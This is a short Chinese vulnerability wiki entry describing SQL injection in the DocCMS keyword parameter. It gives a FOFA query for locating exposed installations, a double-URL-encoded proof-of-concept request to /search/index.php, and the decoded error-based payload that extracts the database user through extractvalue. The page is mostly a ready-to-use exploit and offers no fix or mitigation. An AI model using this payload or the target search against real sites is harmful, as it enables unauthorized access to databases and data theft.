DocCMS keyword SQL注入漏洞

漏洞描述

DocCMS keyword参数存在 SQL注入漏洞,攻击者通过漏洞可以获取数据库信息

漏洞影响

[!NOTE]

DocCMS

FOFA

[!NOTE]

app="Doccms"

漏洞复现

CMS官网

image-20210702110657409

验证POC

/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33

image-20210702110838286

其中payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
PeiQi WiKi文库 all right reserved,powered by Gitbook文件更新时间: 2021-07-02 11:11:25

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